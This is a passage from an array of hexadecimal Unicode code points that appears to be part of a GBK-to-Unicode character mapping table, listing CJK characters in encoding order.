0x8341, 0x8342, 0x8344, 0x8345, 0x8348, 0x834A, 0x834B, 0x834C, 0x834D,
0x834E, 0x8353, 0x8355, 0x8356, 0x8357, 0x8358, 0x8359, 0x835D, 0x8362,
0x8370, 0x8371, 0x8372, 0x8373, 0x8374, 0x8375, 0x8376, 0x8379, 0x837A,
0x837E, 0x837F, 0x8380, 0x8381, 0x8382, 0x8383, 0x8384, 0x8387, 0x8388,
0x838A, 0x838B, 0x838C, 0x838D, 0x838F, 0x8390, 0x8391, 0x8394, 0x8395,
0x8396, 0x8397, 0x8399, 0x839A, 0x839D, 0x839F, 0x83A1, 0x83A2, 0x83A3,
0x83A4, 0x83A5, 0x83A6, 0x83A7, 0x83AC, 0x83AD, 0x83AE, 0x83AF, 0x83B5,
0x83BB, 0x83BE, 0x83BF, 0x83C2, 0x83C3, 0x83C4, 0x83C6, 0x83C8, 0x83C9,
0x83CB, 0x83CD, 0x83CE, 0x83D0, 0x83D1, 0x83D2, 0x83D3, 0x83D5, 0x83D7,
0x83D9, 0x83DA, 0x83DB, 0x83DE, 0x83E2, 0x83E3, 0x83E4, 0x83E6, 0x83E7,
0x83E8, 0x83EB, 0x83EC, 0x83ED, 0x6070, 0x6D3D, 0x7275, 0x6266, 0x948E,
0x94C5, 0x5343, 0x8FC1, 0x7B7E, 0x4EDF, 0x8C26, 0x4E7E, 0x9ED4, 0x94B1,
0x94B3, 0x524D, 0x6F5C, 0x9063, 0x6D45, 0x8C34, 0x5811, 0x5D4C, 0x6B20,
0x6B49, 0x67AA, 0x545B, 0x8154, 0x7F8C, 0x5899, 0x8537, 0x5F3A, 0x62A2,
0x6A47, 0x9539, 0x6572, 0x6084, 0x6865, 0x77A7, 0x4E54, 0x4FA8, 0x5DE7,
0x9798, 0x64AC, 0x7FD8, 0x5CED, 0x4FCF, 0x7A8D, 0x5207, 0x8304, 0x4E14,
0x602F, 0x7A83, 0x94A6, 0x4FB5, 0x4EB2, 0x79E6, 0x7434, 0x52E4, 0x82B9,
0x64D2, 0x79BD, 0x5BDD, 0x6C81, 0x9752, 0x8F7B, 0x6C22, 0x503E, 0x537F,
0x6E05, 0x64CE, 0x6674, 0x6C30, 0x60C5, 0x9877, 0x8BF7, 0x5E86, 0x743C,
0x7A77, 0x79CB, 0x4E18, 0x90B1, 0x7403, 0x6C42, 0x56DA, 0x914B, 0x6CC5,
0x8D8B, 0x533A, 0x86C6, 0x66F2, 0x8EAF, 0x5C48, 0x9A71, 0x6E20, 0x83EE,
0x83EF, 0x83F3, 0x83F4, 0x83F5, 0x83F6, 0x83F7, 0x83FA, 0x83FB, 0x83FC,
0x83FE, 0x83FF, 0x8400, 0x8402, 0x8405, 0x8407, 0x8408, 0x8409, 0x840A,
0x8410, 0x8412, 0x8413, 0x8414, 0x8415, 0x8416, 0x8417, 0x8419, 0x841A,
0x841B, 0x841E, 0x841F, 0x8420, 0x8421, 0x8422, 0x8423, 0x8429, 0x842A,
0x842B, 0x842C, 0x842D, 0x842E, 0x842F, 0x8430, 0x8432, 0x8433, 0x8434,
0x8435, 0x8436, 0x8437, 0x8439, 0x843A, 0x843B, 0x843E, 0x843F, 0x8440,
0x8441, 0x8442, 0x8443, 0x8444, 0x8445, 0x8447, 0x8448, 0x8449, 0x844A,
0x844B, 0x844C, 0x844D, 0x844E, 0x844F, 0x8450, 0x8452, 0x8453, 0x8454,
0x8455, 0x8456, 0x8458, 0x845D, 0x845E, 0x845F, 0x8460, 0x8462, 0x8464,
0x8465, 0x8466, 0x8467, 0x8468, 0x846A, 0x846E, 0x846F, 0x8470, 0x8472,
0x8474, 0x8477, 0x8479, 0x847B, 0x847C, 0x53D6, 0x5A36, 0x9F8B, 0x8DA3,
0x53BB, 0x5708, 0x98A7, 0x6743, 0x919B, 0x6CC9, 0x5168, 0x75CA, 0x62F3,
0x72AC, 0x5238, 0x529D, 0x7F3A, 0x7094, 0x7638, 0x5374, 0x9E4A, 0x69B7,
0x786E, 0x96C0, 0x88D9, 0x7FA4, 0x7136, 0x71C3, 0x5189, 0x67D3, 0x74E4,
0x58E4, 0x6518, 0x56B7, 0x8BA9, 0x9976, 0x6270, 0x7ED5, 0x60F9, 0x70ED,
0x58EC, 0x4EC1, 0x4EBA, 0x5FCD, 0x97E7, 0x4EFB, 0x8BA4, 0x5203, 0x598A,
0x7EAB, 0x6254, 0x4ECD, 0x65E5, 0x620E, 0x8338, 0x84C9, 0x8363, 0x878D,
0x7194, 0x6EB6, 0x5BB9, 0x7ED2, 0x5197, 0x63C9, 0x67D4, 0x8089, 0x8339,
0x8815, 0x5112, 0x5B7A, 0x5982, 0x8FB1, 0x4E73, 0x6C5D, 0x5165, 0x8925,
0x8F6F, 0x962E, 0x854A, 0x745E, 0x9510, 0x95F0, 0x6DA6, 0x82E5, 0x5F31,
0x6492, 0x6D12, 0x8428, 0x816E, 0x9CC3, 0x585E, 0x8D5B, 0x4E09, 0x53C1,
0x847D, 0x847E, 0x847F, 0x8480, 0x8481, 0x8483, 0x8484, 0x8485, 0x8486,
0x848A, 0x848D, 0x848F, 0x8490, 0x8491, 0x8492, 0x8493, 0x8494, 0x8495,
0x8496, 0x8498, 0x849A, 0x849B, 0x849D, 0x849E, 0x849F, 0x84A0, 0x84A2,
0x84A3, 0x84A4, 0x84A5, 0x84A6, 0x84A7, 0x84A8, 0x84A9, 0x84AA, 0x84AB,
0x84AC, 0x84AD, 0x84AE, 0x84B0, 0x84B1, 0x84B3, 0x84B5, 0x84B6, 0x84B7,
0x84BB, 0x84BC, 0x84BE, 0x84C0, 0x84C2, 0x84C3, 0x84C5, 0x84C6, 0x84C7,
0x84C8, 0x84CB, 0x84CC, 0x84CE, 0x84CF, 0x84D2, 0x84D4, 0x84D5, 0x84D7,
0x84D8, 0x84D9, 0x84DA, 0x84DB, 0x84DC, 0x84DE, 0x84E1, 0x84E2, 0x84E4,
0x84E7, 0x84E8, 0x84E9, 0x84EA, 0x84EB, 0x84ED, 0x84EE, 0x84EF, 0x84F1,
0x84F2, 0x84F3, 0x84F4, 0x84F5, 0x84F6, 0x84F7, 0x84F8, 0x84F9, 0x84FA,
0x84FB, 0x84FD, 0x84FE, 0x8500, 0x8501, 0x8502, 0x4F1E, 0x6563, 0x6851,
0x55D3, 0x4E27, 0x6414, 0x9A9A, 0x626B, 0x5AC2, 0x745F, 0x8272, 0x6DA9,
0x68EE, 0x50E7, 0x838E, 0x7802, 0x6740, 0x5239, 0x6C99, 0x7EB1, 0x50BB,
0x5565, 0x715E, 0x7B5B, 0x6652, 0x73CA, 0x82EB, 0x6749, 0x5C71, 0x5220,
0x717D, 0x886B, 0x95EA, 0x9655, 0x64C5, 0x8D61, 0x81B3, 0x5584, 0x6C55,
0x6247, 0x7F2E, 0x5892, 0x4F24, 0x5546, 0x8D4F, 0x664C, 0x4E0A, 0x5C1A,
0x88F3, 0x68A2, 0x634E, 0x7A0D, 0x70E7, 0x828D, 0x52FA, 0x97F6, 0x5C11,
0x54E8, 0x90B5, 0x7ECD, 0x5962, 0x8D4A, 0x86C7, 0x820C, 0x820D, 0x8D66,
0x6444, 0x5C04, 0x6151, 0x6D89, 0x793E, 0x8BBE, 0x7837, 0x7533, 0x547B,
0x4F38, 0x8EAB, 0x6DF1, 0x5A20, 0x7EC5, 0x795E, 0x6C88, 0x5BA1, 0x5A76,
0x751A, 0x80BE, 0x614E, 0x6E17, 0x58F0, 0x751F, 0x7525, 0x7272, 0x5347,
0x7EF3, 0x8503, 0x8504, 0x8505, 0x8506, 0x8507, 0x8508, 0x8509, 0x850A,
0x850B, 0x850D, 0x850E, 0x850F, 0x8510, 0x8512, 0x8514, 0x8515, 0x8516,
0x8518, 0x8519, 0x851B, 0x851C, 0x851D, 0x851E, 0x8520, 0x8522, 0x8523,
0x8524, 0x8525, 0x8526, 0x8527, 0x8528, 0x8529, 0x852A, 0x852D, 0x852E,
0x852F, 0x8530, 0x8531, 0x8532, 0x8533, 0x8534, 0x8535, 0x8536, 0x853E,
0x853F, 0x8540, 0x8541, 0x8542, 0x8544, 0x8545, 0x8546, 0x8547, 0x854B,
0x854C, 0x854D, 0x854E, 0x854F, 0x8550, 0x8551, 0x8552, 0x8553, 0x8554,
0x8555, 0x8557, 0x8558, 0x855A, 0x855B, 0x855C, 0x855D, 0x855F, 0x8560,
0x8561, 0x8562, 0x8563, 0x8565, 0x8566, 0x8567, 0x8569, 0x856A, 0x856B,
0x856C, 0x856D, 0x856E, 0x856F, 0x8570, 0x8571, 0x8573, 0x8575, 0x8576,
0x8577, 0x8578, 0x857C, 0x857D, 0x857F, 0x8580, 0x8581, 0x7701, 0x76DB,
0x5269, 0x80DC, 0x5723, 0x5E08, 0x5931, 0x72EE, 0x65BD, 0x6E7F, 0x8BD7,
0x5C38, 0x8671, 0x5341, 0x77F3, 0x62FE, 0x65F6, 0x4EC0, 0x98DF, 0x8680,
0x5B9E, 0x8BC6, 0x53F2, 0x77E2, 0x4F7F, 0x5C4E, 0x9A76, 0x59CB, 0x5F0F,
0x793A, 0x58EB, 0x4E16, 0x67FF, 0x4E8B, 0x62ED, 0x8A93, 0x901D, 0x52BF,
0x662F, 0x55DC, 0x566C, 0x9002, 0x4ED5, 0x4F8D, 0x91CA, 0x9970, 0x6C0F,
0x5E02, 0x6043, 0x5BA4, 0x89C6, 0x8BD5, 0x6536, 0x624B, 0x9996, 0x5B88,
0x5BFF, 0x6388, 0x552E, 0x53D7, 0x7626, 0x517D, 0x852C, 0x67A2, 0x68B3,
0x6B8A, 0x6292, 0x8F93, 0x53D4, 0x8212, 0x6DD1, 0x758F, 0x4E66, 0x8D4E,
0x5B70, 0x719F, 0x85AF, 0x6691, 0x66D9, 0x7F72, 0x8700, 0x9ECD, 0x9F20,
0x5C5E, 0x672F, 0x8FF0, 0x6811, 0x675F, 0x620D, 0x7AD6, 0x5885, 0x5EB6,
0x6570, 0x6F31, 0x8582, 0x8583, 0x8586, 0x8588, 0x8589, 0x858A, 0x858B,
0x858C, 0x858D, 0x858E, 0x8590, 0x8591, 0x8592, 0x8593, 0x8594, 0x8595,
0x8596, 0x8597, 0x8598, 0x8599, 0x859A, 0x859D, 0x859E, 0x859F, 0x85A0,
0x85A1, 0x85A2, 0x85A3, 0x85A5, 0x85A6, 0x85A7, 0x85A9, 0x85AB, 0x85AC,
0x85AD, 0x85B1, 0x85B2, 0x85B3, 0x85B4, 0x85B5, 0x85B6, 0x85B8, 0x85BA,
0x85BB, 0x85BC, 0x85BD, 0x85BE, 0x85BF, 0x85C0, 0x85C2, 0x85C3, 0x85C4,
0x85C5, 0x85C6, 0x85C7, 0x85C8, 0x85CA, 0x85CB, 0x85CC, 0x85CD, 0x85CE,
0x85D1, 0x85D2, 0x85D4, 0x85D6, 0x85D7, 0x85D8, 0x85D9, 0x85DA, 0x85DB,
0x85DD, 0x85DE, 0x85DF, 0x85E0, 0x85E1, 0x85E2, 0x85E3, 0x85E5, 0x85E6,
0x85E7, 0x85E8, 0x85EA, 0x85EB, 0x85EC, 0x85ED, 0x85EE, 0x85EF, 0x85F0,
0x85F1, 0x85F2, 0x85F3, 0x85F4, 0x85F5, 0x85F6, 0x85F7, 0x85F8, 0x6055,
0x5237, 0x800D, 0x6454, 0x8870, 0x7529, 0x5E05, 0x6813, 0x62F4, 0x971C,
0x53CC, 0x723D, 0x8C01, 0x6C34, 0x7761, 0x7A0E, 0x542E, 0x77AC, 0x987A,
0x821C, 0x8BF4, 0x7855, 0x6714, 0x70C1, 0x65AF, 0x6495, 0x5636, 0x601D,
0x79C1, 0x53F8, 0x4E1D, 0x6B7B, 0x8086, 0x5BFA, 0x55E3, 0x56DB, 0x4F3A,
0x4F3C, 0x9972, 0x5DF3, 0x677E, 0x8038, 0x6002, 0x9882, 0x9001, 0x5B8B,
0x8BBC, 0x8BF5, 0x641C, 0x8258, 0x64DE, 0x55FD, 0x82CF, 0x9165, 0x4FD7,
0x7D20, 0x901F, 0x7C9F, 0x50F3, 0x5851, 0x6EAF, 0x5BBF, 0x8BC9, 0x8083,
0x9178, 0x849C, 0x7B97, 0x867D, 0x968B, 0x968F, 0x7EE5, 0x9AD3, 0x788E,
0x5C81, 0x7A57, 0x9042, 0x96A7, 0x795F, 0x5B59, 0x635F, 0x7B0B, 0x84D1,
0x68AD, 0x5506, 0x7F29, 0x7410, 0x7D22, 0x9501, 0x6240, 0x584C, 0x4ED6,
0x5B83, 0x5979, 0x5854, 0x85F9, 0x85FA, 0x85FC, 0x85FD, 0x85FE, 0x8600,
0x8601, 0x8602, 0x8603, 0x8604, 0x8606, 0x8607, 0x8608, 0x8609, 0x860A,
0x860B, 0x860C, 0x860D, 0x860E, 0x860F, 0x8610, 0x8612, 0x8613, 0x8614,
0x8615, 0x8617, 0x8618, 0x8619, 0x861A, 0x861B, 0x861C, 0x861D, 0x861E,
0x861F, 0x8620, 0x8621, 0x8622, 0x8623, 0x8624, 0x8625, 0x8626, 0x8628,
0x862A, 0x862B, 0x862C, 0x862D, 0x862E, 0x862F, 0x8630, 0x8631, 0x8632,
0x8633, 0x8634, 0x8635, 0x8636, 0x8637, 0x8639, 0x863A, 0x863B, 0x863D,
0x863E, 0x863F, 0x8640, 0x8641, 0x8642, 0x8643, 0x8644, 0x8645, 0x8646,
0x8647, 0x8648, 0x8649, 0x864A, 0x864B, 0x864C, 0x8652, 0x8653, 0x8655,
0x8656, 0x8657, 0x8658, 0x8659, 0x865B, 0x865C, 0x865D, 0x865F, 0x8660,
0x8661, 0x8663, 0x8664, 0x8665, 0x8666, 0x8667, 0x8668, 0x8669, 0x866A,
0x736D, 0x631E, 0x8E4B, 0x8E0F, 0x80CE, 0x82D4, 0x62AC, 0x53F0, 0x6CF0,
0x915E, 0x592A, 0x6001, 0x6C70, 0x574D, 0x644A, 0x8D2A, 0x762B, 0x6EE9,
0x575B, 0x6A80, 0x75F0, 0x6F6D, 0x8C2D, 0x8C08, 0x5766, 0x6BEF, 0x8892,
0x78B3, 0x63A2, 0x53F9, 0x70AD, 0x6C64, 0x5858, 0x642A, 0x5802, 0x68E0,
0x819B, 0x5510, 0x7CD6, 0x5018, 0x8EBA, 0x6DCC, 0x8D9F, 0x70EB, 0x638F,
0x6D9B, 0x6ED4, 0x7EE6, 0x8404, 0x6843, 0x9003, 0x6DD8, 0x9676, 0x8BA8,
0x5957, 0x7279, 0x85E4, 0x817E, 0x75BC, 0x8A8A, 0x68AF, 0x5254, 0x8E22,
0x9511, 0x63D0, 0x9898, 0x8E44, 0x557C, 0x4F53, 0x66FF, 0x568F, 0x60D5,
0x6D95, 0x5243, 0x5C49, 0x5929, 0x6DFB, 0x586B, 0x7530, 0x751C, 0x606C,
0x8214, 0x8146, 0x6311, 0x6761, 0x8FE2, 0x773A, 0x8DF3, 0x8D34, 0x94C1,
0x5E16, 0x5385, 0x542C, 0x70C3, 0x866D, 0x866F, 0x8670, 0x8672, 0x8673,
0x8674, 0x8675, 0x8676, 0x8677, 0x8678, 0x8683, 0x8684, 0x8685, 0x8686,
0x8687, 0x8688, 0x8689, 0x868E, 0x868F, 0x8690, 0x8691, 0x8692, 0x8694,
0x8696, 0x8697, 0x8698, 0x8699, 0x869A, 0x869B, 0x869E, 0x869F, 0x86A0,
0x86A1, 0x86A2, 0x86A5, 0x86A6, 0x86AB, 0x86AD, 0x86AE, 0x86B2, 0x86B3,
0x86B7, 0x86B8, 0x86B9, 0x86BB, 0x86BC, 0x86BD, 0x86BE, 0x86BF, 0x86C1,
0x86C2, 0x86C3, 0x86C5, 0x86C8, 0x86CC, 0x86CD, 0x86D2, 0x86D3, 0x86D5,
0x86D6, 0x86D7, 0x86DA, 0x86DC, 0x86DD, 0x86E0, 0x86E1, 0x86E2, 0x86E3,
0x86E5, 0x86E6, 0x86E7, 0x86E8, 0x86EA, 0x86EB, 0x86EC, 0x86EF, 0x86F5,
0x86F6, 0x86F7, 0x86FA, 0x86FB, 0x86FC, 0x86FD, 0x86FF, 0x8701, 0x8704,
0x8705, 0x8706, 0x870B, 0x870C, 0x870E, 0x870F, 0x8710, 0x8711, 0x8714,
0x8716, 0x6C40, 0x5EF7, 0x505C, 0x4EAD, 0x5EAD, 0x633A, 0x8247, 0x901A,
0x6850, 0x916E, 0x77B3, 0x540C, 0x94DC, 0x5F64, 0x7AE5, 0x6876, 0x6345,
0x7B52, 0x7EDF, 0x75DB, 0x5077, 0x6295, 0x5934, 0x900F, 0x51F8, 0x79C3,
0x7A81, 0x56FE, 0x5F92, 0x9014, 0x6D82, 0x5C60, 0x571F, 0x5410, 0x5154,
0x6E4D, 0x56E2, 0x63A8, 0x9893, 0x817F, 0x8715, 0x892A, 0x9000, 0x541E,
0x5C6F, 0x81C0, 0x62D6, 0x6258, 0x8131, 0x9E35, 0x9640, 0x9A6E, 0x9A7C,
0x692D, 0x59A5, 0x62D3, 0x553E, 0x6316, 0x54C7, 0x86D9, 0x6D3C, 0x5A03,
0x74E6, 0x889C, 0x6B6A, 0x5916, 0x8C4C, 0x5F2F, 0x6E7E, 0x73A9, 0x987D,
0x4E38, 0x70F7, 0x5B8C, 0x7897, 0x633D, 0x665A, 0x7696, 0x60CB, 0x5B9B,
0x5A49, 0x4E07, 0x8155, 0x6C6A, 0x738B, 0x4EA1, 0x6789, 0x7F51, 0x5F80,
0x65FA, 0x671B, 0x5FD8, 0x5984, 0x5A01, 0x8719, 0x871B, 0x871D, 0x871F,
0x8720, 0x8724, 0x8726, 0x8727, 0x8728, 0x872A, 0x872B, 0x872C, 0x872D,
0x872F, 0x8730, 0x8732, 0x8733, 0x8735, 0x8736, 0x8738, 0x8739, 0x873A,
0x873C, 0x873D, 0x8740, 0x8741, 0x8742, 0x8743, 0x8744, 0x8745, 0x8746,
0x874A, 0x874B, 0x874D, 0x874F, 0x8750, 0x8751, 0x8752, 0x8754, 0x8755,
0x8756, 0x8758, 0x875A, 0x875B, 0x875C, 0x875D, 0x875E, 0x875F, 0x8761,
0x8762, 0x8766, 0x8767, 0x8768, 0x8769, 0x876A, 0x876B, 0x876C, 0x876D,
0x876F, 0x8771, 0x8772, 0x8773, 0x8775, 0x8777, 0x8778, 0x8779, 0x877A,
0x877F, 0x8780, 0x8781, 0x8784, 0x8786, 0x8787, 0x8789, 0x878A, 0x878C,
0x878E, 0x878F, 0x8790, 0x8791, 0x8792, 0x8794, 0x8795, 0x8796, 0x8798,
0x8799, 0x879A, 0x879B, 0x879C, 0x879D, 0x879E, 0x87A0, 0x87A1, 0x87A2,
0x87A3, 0x87A4, 0x5DCD, 0x5FAE, 0x5371, 0x97E6, 0x8FDD, 0x6845, 0x56F4,
0x552F, 0x60DF, 0x4E3A, 0x6F4D, 0x7EF4, 0x82C7, 0x840E, 0x59D4, 0x4F1F,
0x4F2A, 0x5C3E, 0x7EAC, 0x672A, 0x851A, 0x5473, 0x754F, 0x80C3, 0x5582,
0x9B4F, 0x4F4D, 0x6E2D, 0x8C13, 0x5C09, 0x6170, 0x536B, 0x761F, 0x6E29,
0x868A, 0x6587, 0x95FB, 0x7EB9, 0x543B, 0x7A33, 0x7D0A, 0x95EE, 0x55E1,
0x7FC1, 0x74EE, 0x631D, 0x8717, 0x6DA1, 0x7A9D, 0x6211, 0x65A1, 0x5367,
0x63E1, 0x6C83, 0x5DEB, 0x545C, 0x94A8, 0x4E4C, 0x6C61, 0x8BEC, 0x5C4B,
0x65E0, 0x829C, 0x68A7, 0x543E, 0x5434, 0x6BCB, 0x6B66, 0x4E94, 0x6342,
0x5348, 0x821E, 0x4F0D, 0x4FAE, 0x575E, 0x620A, 0x96FE, 0x6664, 0x7269,
0x52FF, 0x52A1, 0x609F, 0x8BEF, 0x6614, 0x7199, 0x6790, 0x897F, 0x7852,
0x77FD, 0x6670, 0x563B, 0x5438, 0x9521, 0x727A, 0x87A5, 0x87A6, 0x87A7,
0x87A9, 0x87AA, 0x87AE, 0x87B0, 0x87B1, 0x87B2, 0x87B4, 0x87B6, 0x87B7,
0x87B8, 0x87B9, 0x87BB, 0x87BC, 0x87BE, 0x87BF, 0x87C1, 0x87C2, 0x87C3,
0x87C4, 0x87C5, 0x87C7, 0x87C8, 0x87C9, 0x87CC, 0x87CD, 0x87CE, 0x87CF,
0x87D0, 0x87D4, 0x87D5, 0x87D6, 0x87D7, 0x87D8, 0x87D9, 0x87DA, 0x87DC,
0x87DD, 0x87DE, 0x87DF, 0x87E1, 0x87E2, 0x87E3, 0x87E4, 0x87E6, 0x87E7,
0x87E8, 0x87E9, 0x87EB, 0x87EC, 0x87ED, 0x87EF, 0x87F0, 0x87F1, 0x87F2,
0x87F3, 0x87F4, 0x87F5, 0x87F6, 0x87F7, 0x87F8, 0x87FA, 0x87FB, 0x87FC,
0x87FD, 0x87FF, 0x8800, 0x8801, 0x8802, 0x8804, 0x8805, 0x8806, 0x8807,
0x8808, 0x8809, 0x880B, 0x880C, 0x880D, 0x880E, 0x880F, 0x8810, 0x8811,
0x8812, 0x8814, 0x8817, 0x8818, 0x8819, 0x881A, 0x881C, 0x881D, 0x881E,
0x881F, 0x8820, 0x8823, 0x7A00, 0x606F, 0x5E0C, 0x6089, 0x819D, 0x5915,
0x60DC, 0x7184, 0x70EF, 0x6EAA, 0x6C50, 0x7280, 0x6A84, 0x88AD, 0x5E2D,
0x4E60, 0x5AB3, 0x559C, 0x94E3, 0x6D17, 0x7CFB, 0x9699, 0x620F, 0x7EC6,
0x778E, 0x867E, 0x5323, 0x971E, 0x8F96, 0x6687, 0x5CE1, 0x4FA0, 0x72ED,
0x4E0B, 0x53A6, 0x590F, 0x5413, 0x6380, 0x9528, 0x5148, 0x4ED9, 0x9C9C,
0x7EA4, 0x54B8, 0x8D24, 0x8854, 0x8237, 0x95F2, 0x6D8E, 0x5F26, 0x5ACC,
0x663E, 0x9669, 0x73B0, 0x732E, 0x53BF, 0x817A, 0x9985, 0x7FA1, 0x5BAA,
0x9677, 0x9650, 0x7EBF, 0x76F8, 0x53A2, 0x9576, 0x9999, 0x7BB1, 0x8944,
0x6E58, 0x4E61, 0x7FD4, 0x7965, 0x8BE6, 0x60F3, 0x54CD, 0x4EAB, 0x9879,
0x5DF7, 0x6A61, 0x50CF, 0x5411, 0x8C61, 0x8427, 0x785D, 0x9704, 0x524A,
0x54EE, 0x56A3, 0x9500, 0x6D88, 0x5BB5, 0x6DC6, 0x6653, 0x8824, 0x8825,
0x8826, 0x8827, 0x8828, 0x8829, 0x882A, 0x882B, 0x882C, 0x882D, 0x882E,
0x882F, 0x8830, 0x8831, 0x8833, 0x8834, 0x8835, 0x8836, 0x8837, 0x8838,
0x883A, 0x883B, 0x883D, 0x883E, 0x883F, 0x8841, 0x8842, 0x8843, 0x8846,
0x8847, 0x8848, 0x8849, 0x884A, 0x884B, 0x884E, 0x884F, 0x8850, 0x8851,
0x8852, 0x8853, 0x8855, 0x8856, 0x8858, 0x885A, 0x885B, 0x885C, 0x885D,
0x885E, 0x885F, 0x8860, 0x8866, 0x8867, 0x886A, 0x886D, 0x886F, 0x8871,
0x8873, 0x8874, 0x8875, 0x8876, 0x8878, 0x8879, 0x887A, 0x887B, 0x887C,
0x8880, 0x8883, 0x8886, 0x8887, 0x8889, 0x888A, 0x888C, 0x888E, 0x888F,
0x8890, 0x8891, 0x8893, 0x8894, 0x8895, 0x8897, 0x8898, 0x8899, 0x889A,
0x889B, 0x889D, 0x889E, 0x889F, 0x88A0, 0x88A1, 0x88A3, 0x88A5, 0x88A6,
0x88A7, 0x88A8, 0x88A9, 0x88AA, 0x5C0F, 0x5B5D, 0x6821, 0x8096, 0x5578,
0x7B11, 0x6548, 0x6954, 0x4E9B, 0x6B47, 0x874E, 0x978B, 0x534F, 0x631F,
0x643A, 0x90AA, 0x659C, 0x80C1, 0x8C10, 0x5199, 0x68B0, 0x5378, 0x87F9,
0x61C8, 0x6CC4, 0x6CFB, 0x8C22, 0x5C51, 0x85AA, 0x82AF, 0x950C, 0x6B23,
0x8F9B, 0x65B0, 0x5FFB, 0x5FC3, 0x4FE1, 0x8845, 0x661F, 0x8165, 0x7329,
0x60FA, 0x5174, 0x5211, 0x578B, 0x5F62, 0x90A2, 0x884C, 0x9192, 0x5E78,
0x674F, 0x6027, 0x59D3, 0x5144, 0x51F6, 0x80F8, 0x5308, 0x6C79, 0x96C4,
0x718A, 0x4F11, 0x4FEE, 0x7F9E, 0x673D, 0x55C5, 0x9508, 0x79C0, 0x8896,
0x7EE3, 0x589F, 0x620C, 0x9700, 0x865A, 0x5618, 0x987B, 0x5F90, 0x8BB8,
0x84C4, 0x9157, 0x53D9, 0x65ED, 0x5E8F, 0x755C, 0x6064, 0x7D6E, 0x5A7F,
0x7EEA, 0x7EED, 0x8F69, 0x55A7, 0x5BA3, 0x60AC, 0x65CB, 0x7384, 0x88AC,
0x88AE, 0x88AF, 0x88B0, 0x88B2, 0x88B3, 0x88B4, 0x88B5, 0x88B6, 0x88B8,
0x88B9, 0x88BA, 0x88BB, 0x88BD, 0x88BE, 0x88BF, 0x88C0, 0x88C3, 0x88C4,
0x88C7, 0x88C8, 0x88CA, 0x88CB, 0x88CC, 0x88CD, 0x88CF, 0x88D0, 0x88D1,
0x88D3, 0x88D6, 0x88D7, 0x88DA, 0x88DB, 0x88DC, 0x88DD, 0x88DE, 0x88E0,
0x88E1, 0x88E6, 0x88E7, 0x88E9, 0x88EA, 0x88EB, 0x88EC, 0x88ED, 0x88EE,
0x88EF, 0x88F2, 0x88F5, 0x88F6, 0x88F7, 0x88FA, 0x88FB, 0x88FD, 0x88FF,
0x8900, 0x8901, 0x8903, 0x8904, 0x8905, 0x8906, 0x8907, 0x8908, 0x8909,
0x890B, 0x890C, 0x890D, 0x890E, 0x890F, 0x8911, 0x8914, 0x8915, 0x8916,
0x8917, 0x8918, 0x891C, 0x891D, 0x891E, 0x891F, 0x8920, 0x8922, 0x8923,
0x8924, 0x8926, 0x8927, 0x8928, 0x8929, 0x892C, 0x892D, 0x892E, 0x892F,
0x8931, 0x8932, 0x8933, 0x8935, 0x8937, 0x9009, 0x7663, 0x7729, 0x7EDA,
0x9774, 0x859B, 0x5B66, 0x7A74, 0x96EA, 0x8840, 0x52CB, 0x718F, 0x5FAA,
0x65EC, 0x8BE2, 0x5BFB, 0x9A6F, 0x5DE1, 0x6B89, 0x6C5B, 0x8BAD, 0x8BAF,
0x900A, 0x8FC5, 0x538B, 0x62BC, 0x9E26, 0x9E2D, 0x5440, 0x4E2B, 0x82BD,
0x7259, 0x869C, 0x5D16, 0x8859, 0x6DAF, 0x96C5, 0x54D1, 0x4E9A, 0x8BB6,
0x7109, 0x54BD, 0x9609, 0x70DF, 0x6DF9, 0x76D0, 0x4E25, 0x7814, 0x8712,
0x5CA9, 0x5EF6, 0x8A00, 0x989C, 0x960E, 0x708E, 0x6CBF, 0x5944, 0x63A9,
0x773C, 0x884D, 0x6F14, 0x8273, 0x5830, 0x71D5, 0x538C, 0x781A, 0x96C1,
0x5501, 0x5F66, 0x7130, 0x5BB4, 0x8C1A, 0x9A8C, 0x6B83, 0x592E, 0x9E2F,
0x79E7, 0x6768, 0x626C, 0x4F6F, 0x75A1, 0x7F8A, 0x6D0B, 0x9633, 0x6C27,
0x4EF0, 0x75D2, 0x517B, 0x6837, 0x6F3E, 0x9080, 0x8170, 0x5996, 0x7476,
0x8938, 0x8939, 0x893A, 0x893B, 0x893C, 0x893D, 0x893E, 0x893F, 0x8940,
0x8942, 0x8943, 0x8945, 0x8946, 0x8947, 0x8948, 0x8949, 0x894A, 0x894B,
0x894C, 0x894D, 0x894E, 0x894F, 0x8950, 0x8951, 0x8952, 0x8953, 0x8954,
0x8955, 0x8956, 0x8957, 0x8958, 0x8959, 0x895A, 0x895B, 0x895C, 0x895D,
0x8960, 0x8961, 0x8962, 0x8963, 0x8964, 0x8965, 0x8967, 0x8968, 0x8969,
0x896A, 0x896B, 0x896C, 0x896D, 0x896E, 0x896F, 0x8970, 0x8971, 0x8972,
0x8973, 0x8974, 0x8975, 0x8976, 0x8977, 0x8978, 0x8979, 0x897A, 0x897C,
0x897D, 0x897E, 0x8980, 0x8982, 0x8984, 0x8985, 0x8987, 0x8988, 0x8989,
0x898A, 0x898B, 0x898C, 0x898D, 0x898E, 0x898F, 0x8990, 0x8991, 0x8992,
0x8993, 0x8994, 0x8995, 0x8996, 0x8997, 0x8998, 0x8999, 0x899A, 0x899B,
0x899C, 0x899D, 0x899E, 0x899F, 0x89A0, 0x89A1, 0x6447, 0x5C27, 0x9065,
0x7A91, 0x8C23, 0x59DA, 0x54AC, 0x8200, 0x836F, 0x8981, 0x8000, 0x6930,
0x564E, 0x8036, 0x7237, 0x91CE, 0x51B6, 0x4E5F, 0x9875, 0x6396, 0x4E1A,
0x53F6, 0x66F3, 0x814B, 0x591C, 0x6DB2, 0x4E00, 0x58F9, 0x533B, 0x63D6,
0x94F1, 0x4F9D, 0x4F0A, 0x8863, 0x9890, 0x5937, 0x9057, 0x79FB, 0x4EEA,
0x80F0, 0x7591, 0x6C82, 0x5B9C, 0x59E8, 0x5F5D, 0x6905, 0x8681, 0x501A,
0x5DF2, 0x4E59, 0x77E3, 0x4EE5, 0x827A, 0x6291, 0x6613, 0x9091, 0x5C79,
0x4EBF, 0x5F79, 0x81C6, 0x9038, 0x8084, 0x75AB, 0x4EA6, 0x88D4, 0x610F,
0x6BC5, 0x5FC6, 0x4E49, 0x76CA, 0x6EA2, 0x8BE3, 0x8BAE, 0x8C0A, 0x8BD1,
0x5F02, 0x7FFC, 0x7FCC, 0x7ECE, 0x8335, 0x836B, 0x56E0, 0x6BB7, 0x97F3,
0x9634, 0x59FB, 0x541F, 0x94F6, 0x6DEB, 0x5BC5, 0x996E, 0x5C39, 0x5F15,
